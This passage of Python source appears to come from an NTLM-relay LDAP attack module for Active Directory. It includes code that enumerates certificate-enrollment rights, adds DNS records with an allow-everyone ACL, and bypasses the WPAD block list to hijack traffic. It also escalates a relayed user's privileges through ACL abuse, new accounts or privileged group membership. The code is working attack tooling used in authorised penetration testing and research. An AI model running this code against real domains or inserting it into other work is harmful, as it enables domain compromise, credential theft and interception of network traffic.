domain_fqdn = self.client.server.info.other["ldapServiceName"][0].split("@")[1]
except (KeyError, IndexError):
domain_fqdn = ""
sid_map = dict()
for sid in sids:
try:
if sid.startswith("S-1-5-21-"):
self.client.search(default_naming_context, "(&(objectSid=%s)(|(objectClass=group)(objectClass=user)))" % sid,
attributes=["name", "objectSid"], search_scope=ldap3.SUBTREE)
else:
self.client.search("CN=WellKnown Security Principals," + configuration_naming_context,
"(&(objectSid=%s)(objectClass=foreignSecurityPrincipal))" % sid, attributes=["name", "objectSid"],
search_scope=ldap3.LEVEL)
except:
sid_map[sid] = sid
continue
if not len(self.client.response):
sid_map[sid] = sid
else:
sid_map[sid] = domain_fqdn + "\\" + self.client.response[0]["attributes"]["name"]
return sid_map
LOG.info("Attempting to dump ADCS enrollment services info")
configuration_naming_context = self.client.server.info.other['configurationNamingContext'][0]
enrollment_service_attributes = ["certificateTemplates", "displayName", "dNSHostName", "msPKI-Enrollment-Servers", "nTSecurityDescriptor"]
self.client.search("CN=Enrollment Services,CN=Public Key Services,CN=Services," + configuration_naming_context,
"(objectClass=pKIEnrollmentService)", search_scope=ldap3.LEVEL, attributes=enrollment_service_attributes,
controls=security_descriptor_control(sdflags=0x04))
if not len(self.client.response):
LOG.info("No ADCS enrollment service found")
return
offered_templates = set()
sid_map = dict()
for entry in self.client.response:
LOG.info("Found ADCS enrollment service `%s` on host `%s`, offering templates: %s" % (entry["attributes"]["displayName"],
entry["attributes"]["dNSHostName"], ", ".join(("`" + tpl + "`" for tpl in entry["attributes"]["certificateTemplates"]))))
offered_templates.update(entry["attributes"]["certificateTemplates"])
enrollment_principals = get_enrollment_principals(entry)
known_sids = set(sid_map.keys())
unknwown_sids = enrollment_principals.difference(known_sids)
sid_map.update(translate_sids(unknwown_sids))
LOG.info("Principals who can enroll on enrollment service `%s`: %s" % (entry["attributes"]["displayName"],
", ".join(("`" + sid_map[principal] + "`" for principal in enrollment_principals))))
if not len(offered_templates):
LOG.info("No templates offered by the enrollment services")
return
LOG.info("Attempting to dump ADCS certificate templates enrollment rights, for templates allowing for client authentication and not requiring manager approval")
certificate_template_attributes = ["msPKI-Enrollment-Flag", "name", "nTSecurityDescriptor", "pKIExtendedKeyUsage"]
self.client.search("CN=Certificate Templates,CN=Public Key Services,CN=Services," + configuration_naming_context,
"(&(objectClass=pKICertificateTemplate)(|%s))" % "".join(("(name=" + escape_filter_chars(tpl) + ")" for tpl in offered_templates)),
search_scope=ldap3.LEVEL, attributes=certificate_template_attributes,
controls=security_descriptor_control(sdflags=0x04))
for entry in (e for e in self.client.response if is_template_for_authentification(e)):
enrollment_principals = get_enrollment_principals(entry)
known_sids = set(sid_map.keys())
unknwown_sids = enrollment_principals.difference(known_sids)
sid_map.update(translate_sids(unknwown_sids))
LOG.info("Principals who can enroll using template `%s`: %s" % (entry["attributes"]["name"],
", ".join(("`" + sid_map[principal] + "`" for principal in enrollment_principals))))
def addDnsRecord(self, name, ipaddr):
# https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1
def new_dns_namearray(data):
index_array = [pos for pos, char in enumerate(data) if char == '.']
name_array = bytearray()
if len(index_array) > 0:
name_start = 0
for index in index_array:
name_end = index - name_start
name_array.append(name_end)
name_array.extend(data[name_start:name_end+name_start].encode("utf8"))
name_start = index + 1
name_array.append(len(data) - name_start)
name_array.extend(data[name_start:].encode("utf8"))
else:
name_array.append(len(data))
name_array.extend(data.encode("utf8"))
return name_array
def new_dns_record(data, type):
if type == "A":
addr_data = data.split('.')
dns_type = bytearray((0x1, 0x0))
dns_length = int_to_4_bytes(len(addr_data))[0:2]
dns_data = bytearray(map(int, addr_data))
elif type == "NS":
dns_type = bytearray((0x2, 0x0))
dns_length = int_to_4_bytes(len(data) + 4)[0:2]
dns_data = bytearray()
dns_data.append(len(data) + 2)
dns_data.append(len(data.split(".")))
dns_data.extend(new_dns_namearray(data))
dns_data.append(0)
else:
return False
dns_ttl = bytearray(reversed(int_to_4_bytes(60)))
dns_record = bytearray(dns_length)
dns_record.extend(dns_type)
dns_record.extend(bytearray((0x05, 0xF0, 0x00, 0x00)))
dns_record.extend(int_to_4_bytes(get_next_serial_p()))
dns_record.extend(dns_ttl)
dns_record.extend((0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00))
dns_record.extend(dns_data)
return dns_record
def int_to_4_bytes(num):
arr = bytearray()
for i in range(4):
arr.append(num & 0xff)
num >>= 8
return arr
# https://github.com/dirkjanm/krbrelayx/blob/master/dnstool.py
def get_next_serial(server, zone):
dnsresolver = dns.resolver.Resolver()
dnsresolver.nameservers = [server]
res = dnsresolver.resolve(zone, 'SOA',tcp=True)
for answer in res:
return answer.serial + 1
try:
dns_naming_context = next((nc for nc in self.client.server.info.naming_contexts if "domaindnszones" in nc.lower()))
except StopIteration:
LOG.error('Could not find DNS naming context, aborting')
return
domaindn = self.client.server.info.other['defaultNamingContext'][0]
domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:]
dns_base_dn = 'DC=%s,CN=MicrosoftDNS,%s' % (domain, dns_naming_context)
get_next_serial_p = partial(get_next_serial, self.client.server.address_info[0][4][0], domain)
LOG.info('Checking if domain already has a `%s` DNS record' % name)
if self.client.search(dns_base_dn, '(name=%s)' % escape_filter_chars(name), search_scope=ldap3.LEVEL):
LOG.error('Domain already has a `%s` DNS record, aborting' % name)
return
LOG.info('Domain does not have a `%s` record!' % name)
ACL_ALLOW_EVERYONE_EVERYTHING = b'\x01\x00\x04\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x02\x000\x00\x02\x00\x00\x00\x00\x00\x14\x00\xff\x01\x0f\x00\x01\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\n\x14\x00\x00\x00\x00\x10\x01\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00'
a_record_name = name
is_name_wpad = (a_record_name.lower() == 'wpad')
if is_name_wpad:
LOG.info('To add the `wpad` name, we need to bypass the GQBL: we\'ll first add a random `A` name and then add `wpad` as `NS` pointing to that name')
a_record_name = ''.join(random.choice(string.ascii_lowercase) for _ in range(12))
# First add an A record pointing to the provided IP
a_record_dn = 'DC=%s,%s' % (a_record_name, dns_base_dn)
a_record_data = {
'dnsRecord': new_dns_record(ipaddr, "A"),
'objectCategory': 'CN=Dns-Node,%s' % self.client.server.info.other['schemaNamingContext'][0],
'dNSTombstoned': False,
'name': a_record_name,
'nTSecurityDescriptor': ACL_ALLOW_EVERYONE_EVERYTHING,
}
LOG.info('Adding `A` record `%s` pointing to `%s` at `%s`' % (a_record_name, ipaddr, a_record_dn))
if not self.client.add(a_record_dn, ['top', 'dnsNode'], a_record_data):
LOG.error('Failed to add `A` record: ' % str(self.client.result))
return
LOG.info('Added `A` record `%s`. DON\'T FORGET TO CLEANUP (set `dNSTombstoned` to `TRUE`, set `dnsRecord` to a NULL byte)' % a_record_name)
if not is_name_wpad:
return
# Then add the wpad NS record
ns_record_name = 'wpad'
ns_record_dn = 'DC=%s,%s' % (ns_record_name, dns_base_dn)
ns_record_value = a_record_name + "." + domain
ns_record_data = {
'dnsRecord': new_dns_record(ns_record_value, "NS"),
'objectCategory': 'CN=Dns-Node,%s' % self.client.server.info.other['schemaNamingContext'][0],
'dNSTombstoned': False,
'name': ns_record_name,
'nTSecurityDescriptor': ACL_ALLOW_EVERYONE_EVERYTHING,
}
LOG.info('Adding `NS` record `%s` pointing to `%s` at `%s`' % (ns_record_name, ns_record_value, ns_record_dn))
if not self.client.add(ns_record_dn, ['top', 'dnsNode'], ns_record_data):
LOG.error('Failed to add `NS` record `wpad`: ' % str(self.client.result))
return
LOG.info('Added `NS` record `%s`. DON\'T FORGET TO CLEANUP (set `dNSTombstoned` to `TRUE`, set `dnsRecord` to a NULL byte)' % ns_record_name)
def run(self):
#self.client.search('dc=vulnerable,dc=contoso,dc=com', '(objectclass=person)')
#print self.client.entries
global dumpedDomain
global dumpedAdcs
# Set up a default config
domainDumpConfig = ldapdomaindump.domainDumpConfig()
# Change the output directory to configured rootdir
domainDumpConfig.basepath = self.config.lootdir
# Create new dumper object
domainDumper = ldapdomaindump.domainDumper(self.client.server, self.client, domainDumpConfig)
if self.config.interactive:
if self.tcp_shell is not None:
LOG.info('Started interactive Ldap shell via TCP on 127.0.0.1:%d as %s/%s' % (self.tcp_shell.port, self.domain, self.username))
# Start listening and launch interactive shell.
self.tcp_shell.listen()
ldap_shell = LdapShell(self.tcp_shell, domainDumper, self.client)
ldap_shell.cmdloop()
return
# If specified validate the user's privileges. This might take a while on large domains but will
# identify the proper containers for escalating via the different techniques.
if self.config.validateprivs:
LOG.info('Enumerating relayed user\'s privileges. This may take a while on large domains')
userSid, privs = self.validatePrivileges(self.username, domainDumper)
if privs['create']:
LOG.info('User privileges found: Create user')
if privs['escalateViaGroup']:
name = privs['escalateGroup'].split(',')[0][3:]
LOG.info('User privileges found: Adding user to a privileged group (%s)' % name)
if privs['aclEscalate']:
LOG.info('User privileges found: Modifying domain ACL')
# If validation of privileges is not desired, we assumed that the user has permissions to escalate
# an existing user via ACL attacks.
else:
LOG.info('Assuming relayed user has privileges to escalate a user via ACL attack')
privs = dict()
privs['create'] = False
privs['aclEscalate'] = True
privs['escalateViaGroup'] = False
# We prefer ACL escalation since it is more quiet
if self.config.aclattack and privs['aclEscalate']:
LOG.debug('Performing ACL attack')
if self.config.escalateuser:
# We can escalate an existing user
result = self.getUserInfo(domainDumper, self.config.escalateuser)
# Unless that account does not exist of course
if not result:
LOG.error('Unable to escalate without a valid user.')
else:
userDn, userSid = result
# Perform the ACL attack
self.aclAttack(userDn, domainDumper)
elif privs['create']:
# Create a nice shiny new user for the escalation
userDn = self.addUser(privs['createIn'], domainDumper)
if not userDn:
LOG.error('Unable to escalate without a valid user.')
# Perform the ACL attack
else:
self.aclAttack(userDn, domainDumper)
else:
LOG.error('Cannot perform ACL escalation because we do not have create user '\
'privileges. Specify a user to assign privileges to with --escalate-user')
# If we can't ACL escalate, try adding us to a privileged group
if self.config.addda and privs['escalateViaGroup']:
LOG.debug('Performing Group attack')
if self.config.escalateuser:
# We can escalate an existing user
result = self.getUserInfo(domainDumper, self.config.escalateuser)
# Unless that account does not exist of course
if not result:
LOG.error('Unable to escalate without a valid user.')
# Perform the Group attack
else:
userDn, userSid = result
self.addUserToGroup(userDn, domainDumper, privs['escalateGroup'])
elif privs['create']:
# Create a nice shiny new user for the escalation
userDn = self.addUser(privs['createIn'], domainDumper)
if not userDn:
LOG.error('Unable to escalate without a valid user, aborting.')
# Perform the Group attack
else:
self.addUserToGroup(userDn, domainDumper, privs['escalateGroup'])
else:
LOG.error('Cannot perform ACL escalation because we do not have create user '\
'privileges. Specify a user to assign privileges to with --escalate-user')
# Dump LAPS Passwords